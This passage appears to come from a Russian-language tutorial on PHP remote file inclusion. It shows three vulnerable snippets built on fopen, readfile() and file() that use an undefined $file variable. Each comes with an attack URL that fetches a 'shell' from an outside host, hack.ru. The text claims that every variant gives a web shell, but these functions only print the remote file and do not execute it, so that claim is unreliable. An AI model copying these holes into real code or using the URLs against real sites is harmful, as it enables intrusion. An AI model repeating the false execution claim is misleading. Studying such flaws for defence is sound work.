Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле
php.ini
значение параметра
allow_url_fopen было равно
On, что и есть по умолчанию.
PHP код:
<?php
$f=fopen("$file.php","r");
while (!feof($f))
{
$s=fgets($f,255);
echo $s;
}
fclose($f);
?>
Из-за того что переменная
$file не была определена ранее, злоумышленник может произвести атаку:
Код:
http://site.ru/index.php?file=http://hack.ru/shell
В итоге опять получаем веб-шелл.
Следующий пример - использование функции
readfile()
PHP код:
<?php
readfile($file);
?>
Функция
readfile() считывает файл, имя которого передано ей в качестве параметра, и выводит его содержимое на экран.
В итоге опять получаем веб-шелл:
Код:
http://site.ru/index.php?file=http://hack.ru/shell
Теперь рассмотрим такой вариант:
PHP код:
<?php
echo implode("", file($file));
?>
С помощью функции
implode() мы объединяем элементы массива в строку, а с помощью функции
file() получаем содержимое файла в виде массива. В итоге опять имеем веб-шелл:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php